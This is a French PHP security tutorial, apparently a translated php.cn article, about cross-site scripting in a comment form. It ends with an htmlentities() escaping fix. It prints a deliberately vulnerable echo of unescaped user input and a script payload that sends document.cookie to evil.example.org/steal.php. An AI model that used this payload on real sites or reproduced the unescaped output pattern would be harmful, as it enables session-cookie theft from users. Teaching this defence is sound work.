Maison > Article > développement back-end > Attaque de script de sécurité PHP entre sites
L'attaque de script cross-site est l'une des une méthode d’attaque bien connue. Les applications Web sur toutes les plateformes sont confrontées à ce problème, et les applications PHP ne font pas exception.
Toutes les applications avec entrée sont à risque. Webmail, forums, livres d'or et même blogs. En fait, la plupart des applications Web fournissent des informations dans le but d'attirer plus de personnes, mais en même temps, cela se met également en danger. Des vulnérabilités de script intersite se produisent lorsque les entrées ne sont pas correctement nettoyées et échappées.
Prenons comme exemple une application qui permet de saisir des commentaires sur chaque page. Elle utilise le formulaire suivant pour aider les utilisateurs à soumettre :
CODE :
<form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> <input type="submit" value="Add Comment" /></p> </form>
Le programme visite cette page pour d'autres d'utilisateurs affichant des commentaires. Par exemple, un extrait de code comme celui-ci peut être utilisé pour générer un commentaire ($comment) et son auteur correspondant ($name) :
CODE :
<?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?>
Ce processus prend pleinement en compte les valeurs de $comment et $ nom Trust, imaginez que le contenu de l'un d'eux contienne le code suivant :
CODE :
<script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script>
Si vos utilisateurs voient ce commentaire, cela revient à autoriser d'autres personnes à ajouter du code Javascript au programme source de votre site Web. Vos utilisateurs enverront sans le savoir leurs cookies à evil.example.org et le programme récepteur (steal.php) pourra accéder à tous les cookies via la variable $_GET['cookies'] .
Il s’agit d’une erreur courante causée principalement par de mauvaises habitudes de programmation. Heureusement, de telles erreurs sont faciles à éviter. Étant donné que ce risque ne se produit que lorsque vous produisez des données contaminées, assurez-vous simplement de filtrer l'entrée et d'échapper à la sortie comme décrit au chapitre 1
Au moins vous devez utiliser des htmlentities( ) pour échapper à toutes les données que vous souhaitez envoyer au client. Cette fonction peut convertir tous les caractères spéciaux en représentation HTML. Une fois que tous les caractères qui amèneront le navigateur à effectuer un traitement spécial ont été convertis, il est possible de garantir que le contenu initialement saisi est affiché.
Il est donc plus sûr d'utiliser le code suivant pour afficher les commentaires :
CODE :
<?php $clean = array(); $html = array(); /* Filter Input ($name, $comment) */ $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8'); echo "<p>{$html['name']} writes:<br />"; echo "<blockquote>{$html['comment']}</blockquote></p>"; ?>
Ce qui précède est le contenu de l'attaque de script intersite de sécurité PHP. Pour plus de contenu connexe, veuillez prêter attention à. le site PHP chinois (www .php.cn) !